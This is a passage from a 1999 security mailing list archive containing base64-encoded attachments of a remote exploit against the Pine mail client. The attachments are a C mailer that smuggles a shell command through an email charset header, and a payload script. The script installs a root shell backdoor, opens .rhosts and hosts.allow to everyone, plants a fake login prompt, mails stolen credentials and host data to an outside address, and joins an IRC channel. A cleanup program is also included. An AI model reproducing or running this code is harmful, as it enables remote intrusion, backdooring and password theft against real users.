ICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4o bXNnKSk7DQogICAgIHNwcmludGYobXNnLCJGcm9tOiBEYXZlPGRhdmVAbG9jYWxob3N0PlxuVE86 ICIpOyAgICAgd3JpdGUodGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRm KG1zZywiJXM8JXNAJXM+XG4iLGFyZ3ZbM10sYXJndlszXSwgYXJndlsyXSk7IHdyaXRlKHRoZV9z b2NrZXQsbXNnLHN0cmxlbihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIlN1YmplY3Q6IEhleWEu XG4iKTsgICAgICAgICAgICAgICAgICAgICB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNn KSk7DQogICAgIHNwcmludGYobXNnLCJNSU1FLVZlcnNpb246IDEuMFxuIik7ICAgICAgICAgICAg ICAgICAgd3JpdGUodGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1z ZywiQ29udGVudC1UeXBlOiBNVUxUSVBBUlQvTUlYRUQ7IEJPVU5EIik7IHdyaXRlKHRoZV9zb2Nr ZXQsbXNnLHN0cmxlbihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIkFSWT1cIjgzMjMzMjgtMjM1 MDY1MTQ1LTkxODQyNTYwNz06MyIpOyB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7 DQogICAgIHNwcmludGYobXNnLCIxOVwiXG4iKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgd3JpdGUodGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywi LS04MzIzMzI4LTIzNTA2NTE0NS05MTg0MjU2MDc9OjMxOVxuIik7IHdyaXRlKHRoZV9zb2NrZXQs bXNnLHN0cmxlbihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIkNvbnRlbnQtVHlwZTogVEVYVC9Q TEFJTjsgY2hhcnNldD0nVSIpOyB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQog ICAgIHNwcmludGYobXNnLCJTLUFTQ0lJJ1xuIik7ICAgICAgICAgICAgICAgICAgICAgICAgICAg d3JpdGUodGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywiSnVz dCBrZWVwaW5nIHVwIGFuZCBzYXlpbmcgaGkuXG4iKTsgICAgIHdyaXRlKHRoZV9zb2NrZXQsbXNn LHN0cmxlbihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIkkgZ290IGEgbmV3IGFkZHkgYW5kIGRv bWFpbiBoZWhlLi5cbiIpOyB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQogICAg IHNwcmludGYobXNnLCKgXG4iKTsgIC8qIFRoaXMgaXMgaGVyZSBzbyBpZiAgICAgICovICAgd3Jp dGUodGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywioFxuIik7 ICAvKiBwaW5lIHNlbmRzIGEgbXNnIHRvICAgICAqLyAgIHdyaXRlKHRoZV9zb2NrZXQsbXNnLHN0 cmxlbihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIqBcbiIpOyAgLyogdGhlaXIgdGVybSwgdGhl eSB3b250ICAgKi8gICB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQogICAgIHNw cmludGYobXNnLCKgXG4iKTsgIC8qIHNlZSBhbnkgb2YgdGhlIGVtYWlsICAgICovICAgd3JpdGUo dGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywioFxuIik7ICAv KiBjb250ZW50cyB3ZSdyZSBzZW5kaW5nLiAqLyAgIHdyaXRlKHRoZV9zb2NrZXQsbXNnLHN0cmxl bihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIi0tODMyMzMyOC0yMzUwNjUxNDUtOTE4NDI1NjA3 PTozMTlcbiIpOyB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQogICAgIHNwcmlu dGYobXNnLCJDb250ZW50LVR5cGU6IFRFWFQvUExBSU47IGNoYXJzZXQ9YGAiKTsgd3JpdGUodGhl X3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywibHlueCR7SUZTfS1z b3VyY2Uke0lGU30lc3x1IiwgYXJndlsxXSk7IHdyaXRlKHRoZV9zb2NrZXQsbXNnLHN0cmxlbiht c2cpKTsNCiAgICAgc3ByaW50Zihtc2csInVkZWNvZGV8Li4uYGA7IG5hbWU9XCJlbWFpbGZcIlxu Iik7ICAgICB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQogICAgIHNwcmludGYo bXNnLCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBCQVNFNjRcbiIpOyAgd3JpdGUodGhlX3Nv Y2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywiQ29udGVudC1EZXNjcmlw dGlvbjogaGV5YVxuIik7ICAgICAgICAgIHdyaXRlKHRoZV9zb2NrZXQsbXNnLHN0cmxlbihtc2cp KTsNCiAgICAgc3ByaW50Zihtc2csIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZp Iik7ICB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQogICAgIHNwcmludGYobXNn LCJsZW5hbWU9XCJlbWFpbGZcIlxuIik7ICAgICAgICAgICAgICAgICAgd3JpdGUodGhlX3NvY2tl dCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywiLlxuIik7IC8qIGZpbmlzaGVk IHRoZSBlbWFpbCAqLyAgICAgICAgIHdyaXRlKHRoZV9zb2NrZXQsbXNnLHN0cmxlbihtc2cpKTsN CiAgICAgc3ByaW50Zihtc2csInF1aXRcblxuIik7IC8qIGNsb3NlIHRoZSBjb25uZWN0aW9uLiAq LyB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQoNCiAgICAgY2xvc2UodGhlX3Nv Y2tldCk7ICAvLyBSZSBpbnN1cmVzIHRoZSBjbG9zaW5nIG9mIHRoZV9zb2NrZXQuDQogICAgIGZw cmludGYoc3Rkb3V0LCJcbiIpOw0KICAgICBmcHJpbnRmKHN0ZG91dCwiLShJKS0+IFxuIik7DQog ICAgIGZwcmludGYoc3Rkb3V0LCItKEkpLT4gSW5mZWN0ZWQgZW1haWwgc2VudCFcbiIpOw0KICAg ICBmcHJpbnRmKHN0ZG91dCwiLShJKS0+IFxuIik7DQogICAgIGZwcmludGYoc3Rkb3V0LCItKEkp LT4gV2hlbiAlcyByZWFkcyB0aGUgZW1haWwsXG4iLCBhcmd2WzNdKTsNCiAgICAgZnByaW50Zihz dGRvdXQsIi0oSSktPiB5b3UnbGwgcmVjaWV2ZSBhbiBlbWFpbCB0byB0aGVcbiIpOw0KICAgICBm cHJpbnRmKHN0ZG91dCwiLShJKS0+IGFkZHJlc3MgeW91IGRlZmluZWQgaW4gcHNpdGUuc2guXG5c biIpOw0KICAgICByZXR1cm4gMDsNCiAgICB9DQogfQ0KDQp2b2lkIHNsb3dhc3MoaW50IHNpZykg ICAvLyBBbGFybSB3ZW50IG9mZi4NCiB7DQogIGZwcmludGYoc3Rkb3V0LCJcbiIpOw0KICBmcHJp bnRmKHN0ZG91dCwiLShJKS0+ICVzIC0+IFNlcnZlciBpcyBmaXJld2FsbGVkLCBvciBsYWdnZWQg dG8gaGVsbC5cbiIsIG9tZmcpOw0KICBmcHJpbnRmKHN0ZG91dCwiXG4iKTsNCiAgZXhpdCgtMSk7 ICAgICAgICAgICAgLy8gRXhpdHMgdGhlIHByb2dyYW0uDQoNCg0KLyoNCiAgSWYgeW91cmUgaGF2 aW5nIHRyb3VibGUgdXNpbmcgdGhpcywgbGlrZSBpIGhhdmUgb24gdmVyeSBmZXcgc2VydmVycy4u Lg0KICB0aGUgcmF3IGVtYWlsIGlzIGFzIGZvbGxvd3M6IFJlbWViZXIgdG8gY2hhbmdlICdVU0VS TkFNRScgdG8gdGhlIHVzZXINCiAgeW91J3JlIHRyeWluZyB0byBpbmZlY3QsIGFuZCBjaGFuZ2Ug J0hPU1ROQU1FLVdJVEgtSU5GRUNURUQtaW5kZXguaHRtbCcNCiAgd2l0aCB0aGUgaG9zdG5hbWUg b2YgdGhlIGRvbWFpbiB3aXRoIHRoZSB1dWVuY29kZWQgcHNpdGUuc2ggb24gdGhlDQogIGluZGV4 Lmh0bWwgKHJlbWVtYmVyIGl0IGhhcyB0byBiZSB3d3cuYmxhaC5jb20sIGFuZCBjYW50IGJlIGEg dXNlciBkaXINCiAgbGlrZSB3d3cuYmxhaC5jb20vdXNlciBhbmQgZG9udCBwdXQgaHR0cDovLywg YmVjYXVzZSB3ZSBjYW50IHVzZSB0aGUNCiAgJy8nIGNoYXJhY3RlciBpbiB0aGUgY2hhcnNldC4g LWVsYWljaA0KDQoNCkhFTE8gVEhFUkUNCk1BSUwgRlJPTTogRGF2ZTxkYXZlQGxvY2FsaG9zdD4N ClJDUFQgVE86IFVTRVJOTUFFPFVTRVJOQU1FQHRhcmdldC5jb20+DQpEQVRBDQpGcm9tOiBEYXZl PGRhdmVAbG9jYWxob3N0Pg0KVE86IFVTRVJOTUFFPFVTRVJOQU1FQHRhcmdldC5jb20+DQpTdWJq ZWN0OiBIZXlhLg0KTUlNRS1WZXJzaW9uOiAxLjANCkNvbnRlbnQtVHlwZTogTVVMVElQQVJUL01J WEVEOyBCT1VOREFSWT0iODMyMzMyOC0yMzUwNjUxNDUtOTE4NDI1NjA3PTozMTkiDQotLTgzMjMz MjgtMjM1MDY1MTQ1LTkxODQyNTYwNz06MzE5XG4NCkNvbnRlbnQtVHlwZTogVEVYVC9QTEFJTjsg Y2hhcnNldD0nVVMtQVNDSUknDQpKdXN0IGtlZXBpbmcgdXAgYW5kIHNheWluZyBoaS4NCkkgZ290 IGEgbmV3IGFkZHkgYW5kIGRvbWFpbiBoZWhlLg0KDQotLTgzMjMzMjgtMjM1MDY1MTQ1LTkxODQy NTYwNz06MzE5DQpDb250ZW50LVR5cGU6IFRFWFQvUExBSU47IGNoYXJzZXQ9YGBseW54JHtJRlN9 LXNvdXJjZSR7SUZTfUhPU1ROQU1FLVdJVEgtSU5GRUNURUQtaW5kZXguaHRtbHx1dWRlY29kZXwu Li5gYDsgbmFtZT0iZW1haWxmIg0KQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogQkFTRTY0DQpD b250ZW50LURlc2NyaXB0aW9uOiBoZXlhDQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50 OyBmaWxlbmFtZT0iZW1haWxmIg0KLg0KcXVpdA0KDQoqLw0KfQ0KDQo= --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_ Content-Type: APPLICATION/OCTET-STREAM; NAME="psite.sh" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: IyEvYmluL3NoDQojIHBzaXRlLnNoDQojIGJ5OiBlbGFpY2ggb2YgdGhlIGhocC4NCiMgU2NyaXB0 ICMxIG9mIHRoZSBoaHAtcGluZSByZW1vdGUgZXhwbG9pdC4NCiMNCiMgVGhpcyBjYW50IGJlIGEg QyBwcm9ncmFtIGJlY2F1c2Ugd2UgZG9udCB3YW50IHRvIHJhaXNlDQojIHRoZSByZXF1aXJtZW50 cyBvZiB0aGUgcHJvZ3JhbXMgbmVlZGVkIHRvIHVzZSB0aGlzIGV4cGxvaXQuDQojDQojIEZvciBS T09UIGluZmVjdGlvbnMgaXQuLi4NCiMgTWFrZXMgYSBiYWNrZG9vciBvbiBwb3J0IDMxMzM2Lg0K IyBNYWtlcyAucmhvc3RzLg0KIyBUdXJucyBwb3J0IDcwIGludG8gYSB0ZWxuZXQgcG9ydC4gLUlu Y2FzZSAyMyBpcyBmaXJld2FsbGVkLg0KIyBQdXRzIEFMTDpBTEwgaW4gaG9zdHMuYWxsb3cuDQoj IEVtYWlscyB5b3UgdGhpZXIgaW5mZWN0aW9uLg0KIyBTZW5kcyB5b3UgYW4geHRlcm0uKElmIHlv dSBkZWZpbmUgaXQuKQ0KIw0KIyBGb3IgTk9OLVJPT1QgaW5mZWN0aW9ucyBpdC4uLg0KIyBTZW5k cyB5b3UgYW4geHRlcm0uKElmIHlvdSBkZWZpbmUgaXQuKQ0KIyBlbWFpbHMgeW91IHBhc3N3ZCBm aWxlLihJZiB5b3UgZGVmaW5lZCBpdC4pDQojIGxvZ3MgdGhlbSBvdXQgbWFraW5nIHRoZW0gcmVs b2dpbiB0YWtpbmcgdGhlaXIgbG9naW4gYW5kIHBhc3N3ZA0KIw0KIyBCZSBzdXJlIHRvIGNoYW5n ZSB0aGUgZW1haWwgYWRkcmVzcyB0byB5b3VycyBpbiB0aGUgYmVsb3cgc2NyaXB0Lg0KIyANCiMg VXNhZ2U6IFtyb290QHBpbmVdIyB1dWVuY29kZSBwc2l0ZS5zaCAuLi4gPiBpbmRleC5odG1sDQoj IFRoZW4gY2hhbmdlIHRoZSBtb2RlIHRvIDc3NyBpbiB0aGUgaW5kZXguaHRtbC4NCiMgdmlldyB0 aGUgUkVBRE1FIGlmIHlvdSBuZWVkIGEgZG9tYWluIHRvIHB1dCB0aGlzIG9uLg0KIw0KaWYgWyAi YGlkIHwgYXdrICd7cHJpbnQgJDF9J2AiID0gInVpZD0wKHJvb3QpIiBdOyB0aGVuDQpraWxsYWxs IC05IHBpbmUgMj4mMQ0KIyBYVEVSTSBERUZJTkVTOiBUaGUgbmV4dCB0aHJlZSBsaW5lcyBhcmUg Zm9yIG9zIHZhcmlhbnQgeHRlcm0gZGlycy4NCiMvdXNyL2Jpbi9YMTEveHRlcm0gLWRpc3BsYXkg PHlvdXItaXA+OjAuMCAtcnYgLWUgL2Jpbi9zaA0KIy91c3IvWDExUjYvYmluL3h0ZXJtIC1kaXNw bGF5IDx5b3VyLWlwPjowLjAgLXJ2IC1lIC9iaW4vc2gNCiMvdXNyL29wZW53aW4vYmluL3h0ZXJt IC1kaXNwbGF5IDx5b3VyLWlwPjowLjAgLXJ2IC1lIC9iaW4vc2gNCmVjaG8gIisgKyIgPiB+Ly5y aG9zdHMgMj4mMQ0KZWNobyAiKyArIiA+IC8ucmhvc3RzIDI+JjENCmVjaG8gIisgKyIgPiAvcm9v dC8ucmhvc3RzIDI+JjENCmVjaG8gIkFMTDpBTEwiID4+IC9ldGMvaG9zdHMuYWxsb3cgMj4mMQ0K Y2F0IC9ldGMvaW5ldGQuY29uZiB8IHNlZCBzLyN0ZWxuZXQvdGVsbmV0L2cgPiAvZXRjLy4uLiAy PiYxDQptdiAvZXRjLy4uLiAvZXRjL2luZXRkLmNvbmYgMj4mMQ0KY2F0IC9ldGMvaW5ldGQuY29u ZiB8IHNlZCBzLyNnb3BoZXIvZ29waGVyL2cgPiAvZXRjLy4uLiAyPiYxDQptdiAvZXRjLy4uLiAv ZXRjL2luZXRkLmNvbmYgMj4mMQ0KY3AgL3Vzci9zYmluL2luLnRlbG5ldGQgL3Vzci9zYmluL2du IDI+JjENCmVjaG8gImhocC1jb25mIHN0cmVhbSB0Y3Agbm93YWl0IHJvb3QgL3Vzci9zYmluL2xp bnV4Y25mIHNoIC1pIiA+PiAvZXRjL2luZXRkLmNvbmYgMj4mMQ0KY3AgL2Jpbi9zaCAvdXNyL3Ni aW4vbGludXhjbmYgMj4mMQ0KY2htb2QgK3ggL3Vzci9zYmluL2xpbnV4Y25mIDI+JjENCmNobW9k ICt4IC91c3Ivc2Jpbi9nbiAyPiYxDQpta2RpciAvZXRjL2Nyb24uaG91cmx5IDI+JjENCmVjaG8g InJtIGBwd2RgLy4uLiIgPiAvZXRjL2Nyb24uaG91cmx5Ly4uLiAyPiYxDQplY2hvICJybSAvZXRj L2Nyb24uaG91cmx5Ly4uLiIgPj4gL2V0Yy9jcm9uLmhvdXJseS8uLi4gMj4mMQ0KZWNobyAiaGhw LWNvbmYgICAgICAgICAzMTMzNi90Y3AiID4+IC9ldGMvc2VydmljZXMgMj4mMQ0Ka2lsbGFsbCAt SFVQIGluZXRkIDI+JjENCmVjaG8gIkltIGEgKGhocC1waW5lIHJlbW90ZSBleHBsb2l0LikgaW5m ZWN0aW9uLiIgPiB+Ly4uLi4uIDI+JjENCmhvc3RuYW1lIC1pID4+IH4vLi4uLi4gMj4mMQ0KaG9z dG5hbWUgLWQgPj4gfi8uLi4uLiAyPiYxDQp1bmFtZSAtYSA+PiB+Ly4uLi4uIDI+JjENCiMgQ2hh bmdlIHRoaXMgdG8geW91ciBlbWFpbCBhZGRyZXNzLg0KY2F0IH4vLi4uLi4gfCBtYWlsIC1zIGho cC1waW5lX3Jvb3QgcGlnc3BpZ3NAeWFob28uY29tIDI+JjENCiMgZWNobyAiYGhvc3RuYW1lIC1p YCAtIGBjYXQgL2V0Yy9wYXNzd2RgIiB8IG1haWwgLXMgaGhwLXBpbmVfcGFzc3dkLWZpbGUgcGln c3BpZ3NAeWFob28uY29tIDI+JjENCiMgZWNobyAiYGhvc3RuYW1lIC1pYCAtIGBjYXQgL2V0Yy9z aGFkb3dgIiB8IG1haWwgLXMgaGhwLXBpbmVfc2hhZG93LWZpbGUgcGlnc3BpZ3NAeWFob28uY29t IDI+JjENCnJtIH4vLi4uLi4gMj4mMQ0Kcm0gLWZyIHBzaXRlLmMgMj4mMQ0KY2F0IC92YXIvc3Bv b2wvbWFpbC9gd2hvYW1pYCB8IGVncmVwIC12ICJ1dWRlfGVtYWlsZnx2b2lkfEJBU0U2NCIgPiAv dG1wLy4uLi4uIDI+JjENCm12IC90bXAvLi4uLi4gL3Zhci9zcG9vbC9tYWlsL2B3aG9hbWlgIDI+ JjENCiMgRm9yIGNhcGFiaWxpdHkgd2l0aCBvdGhlciBvcGVyYXRpbmcgc3lzdGVtcy4uLg0KY2F0 IC91c3Ivc3Bvb2wvbWFpbC9gd2hvYW1pYCB8IGVncmVwIC12ICJ1dWRlfGVtYWlsZnx2b2lkfEJB U0U2NCIgPiAvdG1wLy4uLi4uIDI+JjENCm12IC90bXAvLi4uLi4gL3Vzci9zcG9vbC9tYWlsL2B3 aG9hbWlgIDI+JjENCiMNCiMgSVJDIGNoYW5uZWwgY29ubmVjdGlvbiBzZWN0aW9uLi4uDQojIChN YWtlcyB0aGUgcm9vdGVkIHBlb3BsZSBjb25uZWN0IHRvIERBTG5ldCBpbiAjaGhwX293bmVkIHVu ZGVyIGd1ZXN0IG5pY2tzLikNCmVjaG8gJyMhL3Vzci9iaW4vcGVybA0KIyBvd25lZC1ib3QgYnk6 IGVsYWljaCBvZiB0aGUgaGhwLg0KdXNlIElPOjpTb2NrZXQ7DQogICAgICAgICRzb2NrID0gSU86 OlNvY2tldDo6SU5FVC0+bmV3KFBlZXJBZGRyID0+ICJwaGl4LmRhbC5uZXQiLA0KICAgICAgICAg ICAgICBQZWVyUG9ydCA9PiA3MDAwLA0KICAgICAgICAgICAgICBQcm90byA9PiAidGNwIikgb3Ig ZGllICJcbiI7DQogICAgICAgIHByaW50ICRzb2NrICJVU0VSIG93bmVkIG93bmVkIG93bmVkIG93 bmVkXG4iOw0KICAgICAgICBwcmludCAkc29jayAiUEFTUyBvd25lZFxuIjsNCiAgICAgICAgcHJp bnQgJHNvY2sgIk5JQ0sgaGhwXG4iOw0KICAgICAgICBwcmludCAkc29jayAiSk9JTiAjaGhwX293 bmVkXG4iOw0KICAgICAgICBwcmludCAkc29jayAiUFJJVk1TRyAjaGhwX293bmVkIDpJbSBvd25l ZC4gLXJvb3QtLlxuIjsNCiAgICAgICAgd2hpbGUoPCRzb2NrPikgew0KICAgICAgICAgICAgICAg IGNob21wOw0KICAgICAgICAgICAgICAgICRsaW5lID0gJF87DQogICAgICAgICAgICAgICAgaWYg KCRsaW5lID1+IC9eUElORy8pIHsNCiAgICAgICAgICAgICAgICBwcmludCAkc29jayAicG9uZyBw aGl4LmRhbC5uZXRcbiI7DQogICAgICAgIH0NCn0NCicgPiB+L3F1b3RhLnBsIDI+JjENCmNobW9k ICt4IH4vcXVvdGEucGwgMj4mMQ0Kfi9xdW90YS5wbCA+PiAvZGV2L251bGwgJg0Kcm0gLWZyIH4v cXVvdGEucGwgMj4mMQ0KDQplbHNlDQpraWxsYWxsIC05IHBpbmUgMj4mMQ0KIyBYVEVSTSBERUZJ TkVTOiBUaGUgbmV4dCB0aHJlZSBsaW5lcyBhcmUgZm9yIG9zIHZhcmlhbnQgeHRlcm0gZGlycy4N CiMvdXNyL2Jpbi9YMTEveHRlcm0gLWRpc3BsYXkgPHlvdXItaXA+OjAuMCAtcnYgLWUgL2Jpbi9z aA0KIy91c3IvWDExUjYvYmluL3h0ZXJtIC1kaXNwbGF5IDx5b3VyLWlwPjowLjAgLXJ2IC1lIC9i aW4vc2gNCiMvdXNyL29wZW53aW4vYmluL3h0ZXJtIC1kaXNwbGF5IDx5b3VyLWlwPjowLjAgLXJ2 IC1lIC9iaW4vc2gNCmVjaG8gJyMhL2Jpbi9zaCcgPiB+Ly5zaGVsbA0KZWNobyAiY2xlYXIiID4+ IH4vLnNoZWxsDQplY2hvICJlY2hvIFwic2hlbGwtaW5pdDogY291bGQgbm90IGdldCBjdXJyZW50 IGRpcmVjdG9yeTpcIiIgPj4gfi8uc2hlbGwNCmVjaG8gImNhdCAvZXRjL2lzc3VlLm5ldCIgPj4g fi8uc2hlbGwNCmVjaG8gImVjaG8gLW4gXCJsb2dpbjogXCIiID4+IH4vLnNoZWxsDQplY2hvICJy ZWFkIGwiID4+IH4vLnNoZWxsDQplY2hvICJzdHR5IC1lY2hvIiA+PiB+Ly5zaGVsbA0KZWNobyAi ZWNobyAtbiBcIlBhc3N3b3JkOiBcIiIgPj4gfi8uc2hlbGwNCmVjaG8gInJlYWQgcCIgPj4gfi8u c2hlbGwNCmVjaG8gInN0dHkgZWNobyIgPj4gfi8uc2hlbGwNCmVjaG8gImVjaG8gXCJcIiA+PiB+ Ly5zaGVsbA0KZWNobyAnZWNobyBgaG9zdG5hbWUgLWlgOiBgaG9zdG5hbWUgLWRgICItLS0iICBs OiRsIHA6JHB8bWFpbCAtcyBoaHAtcGluZV9ub25yb290IHBpZ3NwaWdzQHlhaG9vLmNvbSA+IC9k ZXYvbnVsbCcgPj4gfi8uc2hlbGwNCmVjaG8gInJtIC1yZiB+Ly5zaGVsbCIgPj4gfi8uc2hlbGwN CmVjaG8gInJtIC1yZiB+Ly4uLiIgPj4gfi8uc2hlbGwNCiMgZWNobyAiYGhvc3RuYW1lIC1pYCAt IGBjYXQgL2V0Yy9wYXNzd2RgIiB8IG1haWwgLXMgaGhwLXBpbmVfcGFzc3dkLWZpbGUgcGlnc3Bp Z3NAeWFob28uY29tIDI+JjENCmVjaG8gJ2VjaG8gYGNhdCB+Ly5wcm9maWxlIHxncmVwIC12IHNo ZWxsYCA+IC5wcm9maWxlJyA+PiB+Ly5zaGVsbA0KZWNobyAnZWNobyBgY2F0IH4vLmJhc2hyYyB8 Z3JlcCAtdiBzaGVsbGAgPiAuYmFzaHJjJyA+PiB+Ly5zaGVsbA0KZWNobyAifi8uc2hlbGwiID4+ IH4vLmJhc2hyYyAyPiYxDQplY2hvICJ+Ly5zaGVsbCIgPj4gfi8ucHJvZmlsZSAyPiYxDQpjaG1v ZCAreCB+Ly5iYXNocmMgPi9kZXYvbnVsbCAyPiYxDQpjaG1vZCAreCB+Ly5wcm9maWxlID4vZGV2 L251bGwgMj4mMQ0KY2htb2QgK3ggfi8uc2hlbGwgPi9kZXYvbnVsbCAyPiYxDQpjYXQgL3Zhci9z cG9vbC9tYWlsL2B3aG9hbWlgIHwgZWdyZXAgLXYgInV1ZGV8ZW1haWxmfHZvaWR8QkFTRTY0IiA+ IH4vLi4uLi4gMj4mMQ0KbXYgfi8uLi4uLiAvdmFyL3Nwb29sL21haWwvYHdob2FtaWAgMj4mMQ0K IyBGb3IgY2FwYWJpbGl0eSB3aXRoIG90aGVyIG9wZXJhdGluZyBzeXN0ZW1zLi4uDQpjYXQgL3Vz ci9zcG9vbC9tYWlsL2B3aG9hbWlgIHwgZWdyZXAgLXYgInV1ZGV8ZW1haWxmfHZvaWR8QkFTRTY0 IiA+IH4vLi4uLi4gMj4mMQ0KbXYgfi8uLi4uLiAvdXNyL3Nwb29sL21haWwvYHdob2FtaWAgMj4m MQ0KIw0KIyBJUkMgY2hhbm5lbCBjb25uZWN0aW9uIHNlY3Rpb24uLi4NCiMgKE1ha2VzIHRoZSBy b290ZWQgcGVvcGxlIGNvbm5lY3QgdG8gREFMbmV0IGluICNoaHBfb3duZWQgdW5kZXIgZ3Vlc3Qg bmlja3MuKQ0KZWNobyAnIyEvdXNyL2Jpbi9wZXJsDQojIG93bmVkLWJvdCBieTogZWxhaWNoIG9m IHRoZSBoaHAuDQp1c2UgSU86OlNvY2tldDsNCiAgICAgICAgJHNvY2sgPSBJTzo6U29ja2V0OjpJ TkVULT5uZXcoUGVlckFkZHIgPT4gInBoaXguZGFsLm5ldCIsDQogICAgICAgICAgICAgIFBlZXJQ b3J0ID0+IDcwMDAsDQogICAgICAgICAgICAgIFByb3RvID0+ICJ0Y3AiKSBvciBkaWUgIlxuIjsN CiAgICAgICAgcHJpbnQgJHNvY2sgIlVTRVIgb3duZWQgb3duZWQgb3duZWQgb3duZWRcbiI7DQog ICAgICAgIHByaW50ICRzb2NrICJQQVNTIG93bmVkXG4iOw0KICAgICAgICBwcmludCAkc29jayAi TklDSyBoaHBcbiI7IA0KICAgICAgICBwcmludCAkc29jayAiSk9JTiAjaGhwX293bmVkXG4iOw0K ICAgICAgICBwcmludCAkc29jayAiUFJJVk1TRyAjaGhwX293bmVkIDpJbSBvd25lZC4gLW5vbi1y b290LS5cbiI7DQogICAgICAgIHdoaWxlKDwkc29jaz4pIHsNCiAgICAgICAgICAgICAgICBjaG9t cDsgIA0KICAgICAgICAgICAgICAgICRsaW5lID0gJF87DQogICAgICAgICAgICAgICAgcHJpbnQg IiMgJGxpbmVcbiI7DQogICAgICAgICAgICAgICAgaWYgKCRsaW5lID1+IC9eUElORy8pIHsNCiAg ICAgICAgICAgICAgICBwcmludCAkc29jayAicG9uZyBwaGl4LmRhbC5uZXRcbiI7DQogICAgICAg IH0NCn0NCicgPiB+L3F1b3RhLnBsIDI+JjENCmNobW9kICt4IH4vcXVvdGEucGwgMj4mMQ0Kfi9x dW90YS5wbCA+PiAvZGV2L251bGwgJg0Kcm0gLWZyIH4vcXVvdGEucGwgMj4mMQ0Ka2lsbGFsbCAt OSBiYXNoIDI+JjENCmtpbGxhbGwgLTkgc2ggMj4mMQ0Ka2lsbGFsbCAtOSB0Y3NoIDI+JjENCmtp bGxhbGwgLTkgY3NoIDI+JjENCmtpbGxhbGwgLTkga3NoIDI+JjENCmZpDQoNCg== --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_ Content-Type: APPLICATION/OCTET-STREAM; NAME="cleanup.c" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: LyogDQogICBjbGVhbnVwLmMNCiAgIFBhcnQgb2YgaGhwLXBpbmUgcmVtb3RlIGV4cGxvaXQuDQog ICBSdW4gdGhpcyBvbiBzeXN0ZW1zIHlvdSBpbmZlY3RlZA0KICAgcm9vdCB1c2VycyBvbiBhbmQg aXQgd2lsbCBqdXN0IGNsb3NlIGFsbA0KICAgdGhlIGhvbGVzIHRoYXQgcHNpdGUuc2ggaGFzIG1h ZGUuDQoqLw0KDQptYWluKCkNCiB7DQogIHN5c3RlbSgiY2F0IC9ldGMvaG9zdHMuYWxsb3cgfCBn cmVwIC12IFwiQUxMOkFMTFwiID4gL2V0Yy90ZW1wIik7DQogIHN5c3RlbSgibXYgL2V0Yy90ZW1w IC9ldGMvaG9zdHMuYWxsb3ciKTsNCiAgc3lzdGVtKCJlY2hvIFwiQUxMOkFMTFwiID4+IC9ldGMv aG9zdHMuYWxsb3ciKTsNCiAgc3lzdGVtKCJybSAtZnIgfi8ucmhvc3RzIDsgcm0gLWZyIC8ucmhv c3RzIDsgcm0gLWZyIC9yb290Ly5yaG9zdHMiKTsNCiAgc3lzdGVtKCJjYXQgL2V0Yy9pbmV0ZC5j b25mIHwgZ3JlcCAtdiBcImhocC1jb25mXCIgPiAvZXRjL3RlbXAiKTsNCiAgc3lzdGVtKCJtdiAv ZXRjL3RlbXAgL2V0Yy9pbmV0ZC5jb25mIik7DQogIHN5c3RlbSgiY2F0IC9ldGMvc2VydmljZXMg fCBncmVwIC12IFwiaGhwLWNvbmZcIiA+IC9ldGMvdGVtcCIpOw0KICBzeXN0ZW0oIm12IC9ldGMv dGVtcCAvZXRjL3NlcnZpY2VzIik7DQogIHN5c3RlbSgia2lsbGFsbCAtSFVQIGluZXRkIik7DQog fQ0KDQoNCg== --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jun 26 2:19:29 1999 Delivered-To: freebsd-security@freebsd.org Received: from zip.com.au (zipper.zip.com.au [203.12.97.1]) by hub.freebsd.org (Postfix) with ESMTP id 266CA14F88 for ; Sat, 26 Jun 1999 02:19:26 -0700 (PDT) (envelope-from ncb@zip.com.au) Received: from localhost (ncb@localhost) by zip.com.au (8.9.1/8.9.1) with ESMTP id TAA12822 for ; Sat, 26 Jun 